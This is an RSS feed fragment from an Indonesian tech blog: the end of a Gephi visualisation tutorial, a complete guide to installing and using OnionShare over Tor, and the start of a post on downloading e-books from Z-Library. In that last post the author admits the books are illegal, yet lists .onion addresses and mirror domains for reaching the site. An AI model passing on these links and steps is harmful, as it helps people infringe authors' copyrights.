&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;283&quot; height=&quot;322&quot; src=&quot;/_astro/ss45.CfES3DlY_1oPz8K.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Nodes Color&lt;a href=&quot;#nodes-color-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Atur warna untuk 5 node dengan nilai &lt;em&gt;eigenvector centrality&lt;/em&gt; tertinggi (merah-kuning-hijau-biru-ungu). Jangan lupa, ubah warna node aktor lainnya menjadi abu-abu.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;282&quot; height=&quot;333&quot; src=&quot;/_astro/ss46.-AQwGg_2_1qYlKg.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Berikut adalah hasil visualisasinya!
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;622&quot; height=&quot;562&quot; src=&quot;/_astro/ss50.DxK5bcLF_7BT9L.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Label Size&lt;a href=&quot;#label-size-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Atur ukuran label setiap aktor.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;282&quot; height=&quot;327&quot; src=&quot;/_astro/ss47.B9-UO9uM_mPrgl.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h4&gt;Label Color&lt;a href=&quot;#label-color-2&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h4&gt;&lt;p&gt;Atur warna untuk label sesuai dengan urutan nilai &lt;em&gt;eigenvector centrality&lt;/em&gt;-nya (merah-kuning-hijau-biru). Jangan lupa ubah juga warna label aktor lainnya menjadi abu-abu.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;286&quot; height=&quot;327&quot; src=&quot;/_astro/ss48.Cd0q-tht_Z1kxjs1.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Berikut adalah hasil visualisasinya!
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;668&quot; height=&quot;558&quot; src=&quot;/_astro/ss49.DcFiqZ_Z_13Q167.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://putrialutfi.medium.com/gephi-social-network-visualization-fdf87ca5188a&quot; target=&quot;_blank&quot;&gt;https://putrialutfi.medium.com/gephi-social-network-visualization-fdf87ca5188a&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;http://jurnal.unpad.ac.id/kajian-jurnalisme/article/view/33458&quot; target=&quot;_blank&quot;&gt;http://jurnal.unpad.ac.id/kajian-jurnalisme/article/view/33458&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-2&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Private File Sharing with Onionshare</title><link>https://shangdi.github.io/posts/tech/onionshare/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/onionshare/</guid><description>OnionShare is an open-source tool that lets you securely and anonymously share files, host websites, and chat with friends using the Tor network.</description><pubDate>Thu, 30 Nov 2023 12:35:02 GMT</pubDate><content:encoded>&lt;p&gt;Halo!
Beberapa pekan lalu, saya sempat memberikan tutorial untuk mendapatkan e-book gratis dengan bot Telegram yang berasal dari situs z-library. Saat tulisan tersebut dibuat, situs utama z-lib di-&lt;em&gt;banned&lt;/em&gt; oleh FBI karena dianggap menyebarkan buku-buku berbayar tanpa hak izin dari penulisnya. Maka, agar dapat mengakses situs z-lib, kita memerlukan TOR Browser.&lt;/p&gt;
&lt;p&gt;Nah, pernahkah kalian penasaran, bagaimana cara meng-&lt;em&gt;hosting&lt;/em&gt; file yang hanya dapat diakses dengan TOR Browserdan jaringan TOR saja?&lt;/p&gt;
&lt;p&gt;Kali ini, kita akan belajar bagaimana cara meng-&lt;em&gt;hosting&lt;/em&gt; atau membagikan file yang hanya dapat diakses oleh TOR Browser. Kenapa hanya dapat diakses di TOR Browser saja? Tentu saja karena &lt;em&gt;url&lt;/em&gt;-nya berakhiran “.onion”, jadi kita tidak dapat membukanya di browser default seperti chrome, firefox, safari, dan yang semisal itu.&lt;/p&gt;
&lt;section&gt;&lt;h2&gt;Perkenalan Onionshare&lt;a href=&quot;#perkenalan-onionshare&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Sebenarnya, apa sih onionshare itu?&lt;/p&gt;&lt;p&gt;Onionshare adalah &lt;em&gt;tools&lt;/em&gt; &lt;em&gt;open-source&lt;/em&gt; yang dapat membantu kita untuk membagikan file, meng-&lt;em&gt;hosting&lt;/em&gt; website, dan (bahkan) melakukan &lt;em&gt;chatting&lt;/em&gt; secara aman dan anonim melalui jaringan TOR.&lt;sup&gt;&lt;a href=&quot;#user-content-fn-1&quot;&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;&lt;p&gt;Nah, jadi, dengan &lt;em&gt;tools&lt;/em&gt; atau aplikasi Onionshare ini, kita dapat &lt;em&gt;sharing &amp;amp; receiving&lt;/em&gt; file, meng-&lt;em&gt;hosting&lt;/em&gt; website, dan bahkan bisa &lt;em&gt;chatting&lt;/em&gt; secara anonim juga!&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Instalasi&lt;a href=&quot;#instalasi&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Nah, sekarang kita akan melakukan instalasi. Saya akan menunjukkan proses install di Linux saja. Jika kalianingin menginstallnya di sistem operasi yang lain (Windows, Mac, atau iOS/Android), silakan baca-baca dan ikuti langkah-langkah yang sudah disediakan secara resmi oleh Onionshare di &lt;a href=&quot;https://docs.onionshare.org/2.6/en/install.html&quot; target=&quot;_blank&quot;&gt;sini&lt;/a&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1241&quot; height=&quot;413&quot; src=&quot;/_astro/download-install.fRie9g6V_ZLg9nO.webp&quot; /&gt;&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Langkah 1: Menginstall flatpak (Debian-based Linux)&lt;a href=&quot;#langkah-1-menginstall-flatpak-debian-based-linux&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Flatpak adalah &lt;em&gt;package manager&lt;/em&gt; untuk menginstall aplikasi dari flathub. Flathub sendiri merupakan wadah untuk mendapatkan aplikasi-aplikasi untuk desktop linux. Jadi, aplikasi-aplikasi yang tidak tersedia di repositori resmi distro linux, kita dapat menginstallnya dari flathub/flatpak.&lt;/p&gt;&lt;p&gt;Kita akan menginstall flatpak via CLI (&lt;em&gt;command line interface&lt;/em&gt;)&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;sudo&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;apt&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;flatpak&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Langkah 2: Mengunduh paket installer Onionshare&lt;a href=&quot;#langkah-2-mengunduh-paket-installer-onionshare&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Setelah selesai menginstall flatpak, kita harus mengunduh paket/installer Onionshare yang tersedia di Flathub. Kunjungi alamat berikut &lt;a href=&quot;https://flathub.org/apps/org.onionshare.OnionShare&quot; target=&quot;_blank&quot;&gt;Onionshare Flathub&lt;/a&gt;, kemudian klik install.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1257&quot; height=&quot;234&quot; src=&quot;/_astro/flathub.BOYFwUnH_vbenM.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Setelah terunduh, filenya akan nampak dengan ekstensi “flatpakref” seperti berikut:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;598&quot; height=&quot;115&quot; src=&quot;/_astro/onionshare-file.BJOqVDh0_2pwXCQ.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Langkah 3: Install&lt;a href=&quot;#langkah-3-install&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikutnya, kita tinggal menginstall Onionshare dengan mengetikkan perintah berikut di terminal:&lt;/p&gt;&lt;div&gt;&lt;figure&gt;&lt;figcaption&gt;&lt;span&gt;&lt;/span&gt;&lt;span&gt;Terminal window&lt;/span&gt;&lt;/figcaption&gt;&lt;pre&gt;&lt;code&gt;&lt;div&gt;&lt;div&gt;&lt;div&gt;1&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;flatpak&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;install&lt;/span&gt;&lt;span&gt; &lt;/span&gt;&lt;span&gt;org.onionshare.OnionShare.flatpakref&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/figure&gt;&lt;/div&gt;&lt;p&gt;Jika ada pertanyaan-pertanyaan, “Yes”-kan saja, dan kita tinggal menunggu proses instalasinya selesai.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1197&quot; height=&quot;582&quot; src=&quot;/_astro/install-onionshare.avA7pKZS_1MYGAn.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Penggunaan&lt;a href=&quot;#penggunaan&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;&lt;p&gt;Selesai menginstall, saatnya kita mencoba fitur-fitur dari onionshare!&lt;/p&gt;&lt;p&gt;Pertama-tama, kita harus menyambungkan koneksi ke jaringan TOR terlebih dahulu. Jadi, silakan sambungkan koneksi dengan meng-klik tombol “&lt;strong&gt;Connect to Tor&lt;/strong&gt;” yang berwarna hijau. Tunggu beberapa saat hingga tersambung.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1088&quot; height=&quot;781&quot; src=&quot;/_astro/featured.C6q2wDxV_Z16Adsy.webp&quot; /&gt;&lt;/p&gt;&lt;section&gt;&lt;h3&gt;Fitur 1: Share Files&lt;a href=&quot;#fitur-1-share-files&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Fitur pertama yang akan kita coba adalah fitur &lt;em&gt;sharing files&lt;/em&gt;. Mula-mula, klik &lt;strong&gt;Start Sharing&lt;/strong&gt;
untuk memulai. Kemudian, di sini, saya akan mencoba membagikan dua buah file (file gambar dan video) dan satu folder.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1101&quot; height=&quot;786&quot; src=&quot;/_astro/share-setup.DHgmPX5I_Z2utNgA.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Di bagian bawah, ada 3 checkbox yang dapat kita set untuk mengatur beberapa hal, salah satunya (yang
paling bawah) adalah untuk mengatur mode &lt;em&gt;sharing&lt;/em&gt; yang kita gunakan (&lt;em&gt;private/public&lt;/em&gt;). Kalau &lt;em&gt;public&lt;/em&gt;, berarti nanti penerima &lt;em&gt;link&lt;/em&gt;-nya tidak memerlukan kunci (&lt;em&gt;private key&lt;/em&gt;) untuk mengakses ketiga item yang saya bagikan tersebut. Sebaliknya, kalau mode &lt;em&gt;sharing&lt;/em&gt;-nya &lt;em&gt;private&lt;/em&gt;, berarti penerima &lt;em&gt;link&lt;/em&gt;-nya memerlukan &lt;em&gt;private key&lt;/em&gt; tersebut.&lt;/p&gt;&lt;p&gt;Saya akan set di mode &lt;em&gt;public&lt;/em&gt;. Selanjutnya, klik &lt;strong&gt;Start Sharing&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Nanti akan muncul &lt;em&gt;link&lt;/em&gt; TOR-nya:
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1020&quot; height=&quot;171&quot; src=&quot;/_astro/url-sharing.C9DaGKKE_Z2etqkT.webp&quot; /&gt;
Kita dapat membukanya di TOR Browser. Kalau kalian belum menginstall TOR Browser, kalian bisa menginstall-nya terlebih dahulu.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; src=&quot;/_astro/torbrowser-open.DJFn7Vdq_1XmHco.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Fitur 2: Recieve Files&lt;a href=&quot;#fitur-2-recieve-files&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Fitur kedua, selain untuk berbagi file dan folder secara anonim, kita juga dapat menggunakan fitur &lt;em&gt;Revieve files&lt;/em&gt; ini jika kita ingin menerima &lt;em&gt;sharing file&lt;/em&gt; dari orang lain.&lt;/p&gt;&lt;p&gt;Beberapa &lt;em&gt;check box&lt;/em&gt; juga ada di awal jika kita ingin mengatur beberapa hal. Di sini, lagi-lagi saya men-set ke mode &lt;em&gt;public&lt;/em&gt; ya.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;785&quot; height=&quot;520&quot; src=&quot;/_astro/recieve-files.D5-nuyYd_163NO8.webp&quot; /&gt;
Lalu, klik &lt;strong&gt;Start Revieve Mode&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Dan kita akan disuguhkan &lt;em&gt;link&lt;/em&gt; yang memungkinkan orang lain untuk mengupload file/folder-nya ke kita.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;742&quot; height=&quot;236&quot; src=&quot;/_astro/url-recieving.Dlauotnv_Z1bpc6F.webp&quot; /&gt;
Jadi, &lt;em&gt;link&lt;/em&gt; tersebut dapat kita berikan kepada orang lain yang ingin membagikan file/folder ke kita secara anonim.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; src=&quot;/_astro/torbrowser-open-recieve.Cz3gM9Ps_2uW1wE.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Fitur 3: Host a Website&lt;a href=&quot;#fitur-3-host-a-website&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Fitur ketiga ini cukup unik karena kita juga bisa meng-hosting website di Onionshare. Setelah meng-klik &lt;strong&gt;Start Hosting&lt;/strong&gt;, kita tinggal memilih file/folder yang akan ditampilkan sebagai website. Idealnya, folder/file yang di-share di fitur ini adalah folder/file yang mengandung kode html/css. Untuk itu, sebagai contoh sederhana, saya akan minta
&lt;a href=&quot;https://bard.google.com/?utm_source=sem&amp;amp;utm_medium=paid-media&amp;amp;utm_campaign=q4idID_sem7&amp;amp;gclid=EAIaIQobChMIi-3PypHsggMVhKRmAh1Q2AAOEAAYASAAEgJZDPD_BwE&amp;amp;hl=en&quot; target=&quot;_blank&quot;&gt;&lt;strong&gt;Google Bard&lt;/strong&gt;&lt;/a&gt;
untuk men-generate halaman html sederhana.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;943&quot; height=&quot;727&quot; src=&quot;/_astro/google-bard.wz6KKLNw_Z2p9Ki6.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Kemudian, kode tersebut saya copy-paste ke file random yang saya beri nama &lt;strong&gt;index.html&lt;/strong&gt;. Selanjutnya, file &lt;strong&gt;index.html&lt;/strong&gt; tersebut yang akan saya masukkan dalam fitur Host a Website di Onionshare ini.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1114&quot; height=&quot;790&quot; src=&quot;/_astro/hostwebsite.BAgMG2iO_254fsm.webp&quot; /&gt;
Saya set ke mode &lt;em&gt;Public&lt;/em&gt;.&lt;/p&gt;&lt;p&gt;Kemudian klik &lt;strong&gt;Start Sharing&lt;/strong&gt;.&lt;/p&gt;&lt;p&gt;Seperti biasa, kita akan disuguhi &lt;em&gt;link&lt;/em&gt; untuk mengakses website tersebut dari TOR Browser.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1015&quot; height=&quot;248&quot; src=&quot;/_astro/url-hostwebsite.B47uEbto_Z26e42M.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Berikut hasil websitenya…
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; src=&quot;/_astro/torbrowser-open-hostwebsite.DtTrGrL2_vJRCz.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;&lt;section&gt;&lt;h3&gt;Fitur 4: Chat Anonymously&lt;a href=&quot;#fitur-4-chat-anonymously&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Fitur terakhir, yang menurut saya paling unik, kita dapat menggunakan Onionshare untuk &lt;em&gt;chatting&lt;/em&gt; secara anonim. Keren! Langsung aja klik &lt;strong&gt;Start Chatting&lt;/strong&gt; dan lagi, sebagai contoh, saya buat di mode &lt;em&gt;public&lt;/em&gt;. Lalu klik &lt;strong&gt;Start Chat server&lt;/strong&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;698&quot; height=&quot;239&quot; src=&quot;/_astro/url-chatting.Bo9q3S8G_Z1tstxb.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Berikutnya, url tersebut boleh kita bagikan ke orang yang ingin kita ajak &lt;em&gt;chatting&lt;/em&gt; via jaringan TOR. Oiya, di fitur Chat ini, link tersebut hanya berfungsi sebagai server &lt;em&gt;chatting&lt;/em&gt; saja ya. Artinya, kalau kita juga ingin ikut berdiskusi dengan teman kita, kita juga perlu membuka &lt;em&gt;link&lt;/em&gt; tersebut di TOR Browser kita sendiri. Dan karena &lt;em&gt;link&lt;/em&gt; tersebut berfungsi sebagai server &lt;em&gt;chat room&lt;/em&gt;, itu juga berarti bahwa kita dapat menyebar &lt;em&gt;link&lt;/em&gt; itu ke lebih dari satu orang kalau kita ingin chat tersebut ramai orang berdiskusi.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1920&quot; height=&quot;1080&quot; src=&quot;/_astro/torbrowser-open-chat.DMZ6iEGR_1T1bqC.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Okeyy, sekian dulu tutorial Onionshare hari ini. Good night!~&lt;/p&gt;&lt;/section&gt;&lt;/section&gt;
&lt;section&gt;&lt;h2&gt;Footnotes&lt;a href=&quot;#footnote-label&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h2&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;a href=&quot;https://onionshare.org/#&quot; target=&quot;_blank&quot;&gt;https://onionshare.org/#&lt;/a&gt; &lt;a href=&quot;#user-content-fnref-1&quot;&gt;↩&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;/section&gt;</content:encoded></item><item><title>Getting (free) e-books via Bot Telegram</title><link>https://shangdi.github.io/posts/tech/ebook-via-bot_telegram/</link><guid isPermaLink="true">https://shangdi.github.io/posts/tech/ebook-via-bot_telegram/</guid><description>Get &apos;free&apos; e-book(s) easily via Telegram bot.</description><pubDate>Wed, 11 Oct 2023 09:32:22 GMT</pubDate><content:encoded>&lt;p&gt;Keberadaan buku digital / buku elektronik (&lt;em&gt;e-book&lt;/em&gt;) saat ini sudah menjadi keniscayaan di era yang juga sudah digital.
Kelebihan buku elektronik dibanding buku fisik selain murah dan mudah (atau gak mudah ya? hehe) diperoleh adalah juga tidak banyak memakan tempat (rak buku, dsb).
Oleh karena itu, kita (apalagi akademisi, baik di sekolah ataupun perguruan tinggi) sangat memerlukan buku sebagai referensi dalam kegiatan belajar-mengajar.&lt;/p&gt;
&lt;p&gt;Nah, kali ini saya akan memberikan tutorial mendapatkan buku digital dengan mudah karena hanya membutuhkan telegram sebagai modal utamanya.
Secara singkat, berikut adalah langkah-langkah yang perlu diikuti:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Menginstal Tor Browser&lt;/li&gt;
&lt;li&gt;Mengakses alamat url z-library via Tor Browser&lt;/li&gt;
&lt;li&gt;Membuat akun di z-library&lt;/li&gt;
&lt;li&gt;Menghubungkan z-library ke telegram (dan membuat bot telegram)&lt;/li&gt;
&lt;li&gt;Mengunduh &lt;em&gt;e-book&lt;/em&gt; via bot telegram z-library&lt;/li&gt;
&lt;/ol&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;/div&gt;&lt;div&gt;INFO&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;Buku yang ada di Z-Library sebetulnya adalah buku “illegal” karena bukan disebarkan atau di-share langsung oleh author-nya. Itulah mengapa Z-lib di-banned FBI (wkwk, ini serius) dan harus pakai Tor Browser untuk mengaksesnya sekarang.&lt;/p&gt;&lt;p&gt;Berapa domain Z-lib yang di-&lt;em&gt;banned&lt;/em&gt;:&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://www.z-lib.org&quot; target=&quot;_blank&quot;&gt;https://www.z-lib.org&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.z-lib.se&quot; target=&quot;_blank&quot;&gt;https://www.z-lib.se&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1095&quot; height=&quot;661&quot; src=&quot;/_astro/ss7.2u-r-y5k_SBmGv.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Beberapa alternatif tautan non-Tor yang official (karena ada beberapa tautan &lt;em&gt;scam&lt;/em&gt;):&lt;/p&gt;&lt;ol&gt;
&lt;li&gt;&lt;a href=&quot;https://z-library.sk&quot; target=&quot;_blank&quot;&gt;https://z-library.sk&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://z-lib.fm&quot; target=&quot;_blank&quot;&gt;https://z-lib.fm&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;&lt;p&gt;&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1468&quot; height=&quot;1082&quot; src=&quot;/_astro/ss12.lOC8iBzk_QCCo.webp&quot; /&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;Kita perlu login terlebih dahulu kalau ingin mengunduh buku-buku tersebut.&lt;/p&gt;&lt;/blockquote&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;Detail penjelasannya adalah sebagai berikut:&lt;/p&gt;
&lt;p&gt;Jadi, kalian bisa melewati langkah 1 (Menginstall TOR Browser) &amp;amp; langkah 2 (Mengakses alamat url Z-Library via Tor Browser)
karena kalian dapat mengakses alamat &lt;em&gt;clone&lt;/em&gt; Z-Library tersebut di browser normal.&lt;/p&gt;
&lt;section&gt;&lt;h3&gt;1. Meginstall Tor Browser&lt;a href=&quot;#1-meginstall-tor-browser&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;TOR Browser perlu diinstal karena kita akan mengakses alamat tor z-library (berakhiran .union).
Untuk menginstall Tor Browser, kita bisa mengunjungi website-nya di &lt;a href=&quot;https://www.torproject.org/download/&quot; target=&quot;_blank&quot;&gt;sini&lt;/a&gt;.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1089&quot; height=&quot;605&quot; src=&quot;/_astro/ss1.C6oQwvS-_Sf9oe.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Silakan download binary installer TOR Browser sesuai sistem operasi dari laptop/komputer kalian.
Kebetulan saya install Tor Browser di Linux dengan versi 12.5.6 yang 64 bit.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;769&quot; height=&quot;375&quot; src=&quot;/_astro/ss8.DcETAtsI_ZLSwEN.webp&quot; /&gt;&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h3&gt;2. Mengakses alamat url z-library via Tor Browser&lt;a href=&quot;#2-mengakses-alamat-url-z-library-via-tor-browser&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Buka Tor Browser, kemudian koneksikan dengan jaringan Tor dengan klik tombol &lt;strong&gt;connect&lt;/strong&gt;. Tunggu beberapa saat sampai proses koneksi selesai.
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1000&quot; height=&quot;611&quot; src=&quot;/_astro/ss2.DebvOC6q_1WhaSp.webp&quot; /&gt;
Jika sudah terkoneksi, jangan lupa untuk meng-aktifkan &lt;em&gt;bridges&lt;/em&gt; di &lt;strong&gt;Setting&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Connection&lt;/strong&gt; -&amp;gt; &lt;strong&gt;Use current bridges&lt;/strong&gt;
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;939&quot; height=&quot;574&quot; src=&quot;/_astro/ss3.CrgvTQrk_bTAvH.webp&quot; /&gt;&lt;/p&gt;&lt;p&gt;Jika sudah aman semua, tinggal &lt;em&gt;copy-paste&lt;/em&gt; url tor z-library berikut di kolom pencarian.&lt;/p&gt;&lt;p&gt;opsi 1: &lt;strong&gt;&lt;a href=&quot;http://zlibrary24tuxziyiyfr7zd46ytefdqbqd2axkmxm4o5374ptpc52fad.onion&quot; target=&quot;_blank&quot;&gt;http://zlibrary24tuxziyiyfr7zd46ytefdqbqd2axkmxm4o5374ptpc52fad.onion&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;opsi 2: &lt;strong&gt;&lt;a href=&quot;http://loginzlib2vrak5zzpcocc3ouizykn6k5qecgj2tzlnab5wcbqhembyd.onion&quot; target=&quot;_blank&quot;&gt;http://loginzlib2vrak5zzpcocc3ouizykn6k5qecgj2tzlnab5wcbqhembyd.onion&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&lt;p&gt;opsi 3: &lt;strong&gt;&lt;a href=&quot;http://bookszlibb74ugqojhzhg2a63w5i2atv5bqarulgczawnbmsb6s6qead.onion&quot; target=&quot;_blank&quot;&gt;http://bookszlibb74ugqojhzhg2a63w5i2atv5bqarulgczawnbmsb6s6qead.onion&lt;/a&gt;&lt;/strong&gt;&lt;/p&gt;&lt;blockquote&gt;&lt;p&gt;&lt;strong&gt;Notes:&lt;/strong&gt;&lt;br /&gt;
Berselancar di tor browser tidak akan semulus dan selancar berselancar di browser pada umumnya. Oleh karena itu, jika kalian mengalami koneksi yang lamban, jangan khawatir, memang seperti itulah jaringan tor.&lt;/p&gt;&lt;/blockquote&gt;&lt;/section&gt;
&lt;section&gt;&lt;h3&gt;3. Membuat akun di z-library&lt;a href=&quot;#3-membuat-akun-di-z-library&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikutnya, silakan buat akun z-library dengan menginputkan&lt;/p&gt;&lt;ul&gt;
&lt;li&gt;&lt;em&gt;email&lt;/em&gt;&lt;/li&gt;
&lt;li&gt;&lt;em&gt;password&lt;/em&gt;, dan&lt;/li&gt;
&lt;li&gt;&lt;em&gt;nickname&lt;/em&gt;
&lt;img alt=&quot;&quot; loading=&quot;lazy&quot; width=&quot;1296&quot; height=&quot;699&quot; src=&quot;/_astro/ss4.CbpV0Zfe_4A2Pk.webp&quot; /&gt;&lt;/li&gt;
&lt;/ul&gt;&lt;p&gt;Jika sudah, silakan login menggunakan &lt;strong&gt;email&lt;/strong&gt; dan &lt;strong&gt;password&lt;/strong&gt; yang sudah dibuat tadi.&lt;/p&gt;&lt;/section&gt;
&lt;section&gt;&lt;h3&gt;4. Menghubungkan z-library ke telegram&lt;a href=&quot;#4-menghubungkan-z-library-ke-telegram&quot;&gt;&lt;span&gt;#&lt;/span&gt;&lt;/a&gt;&lt;/h3&gt;&lt;p&gt;Berikutnya, klik ikon yang ada di pojok kanan atas, lalu pilih &lt;strong&gt;Z-Access&lt;/strong&gt;.
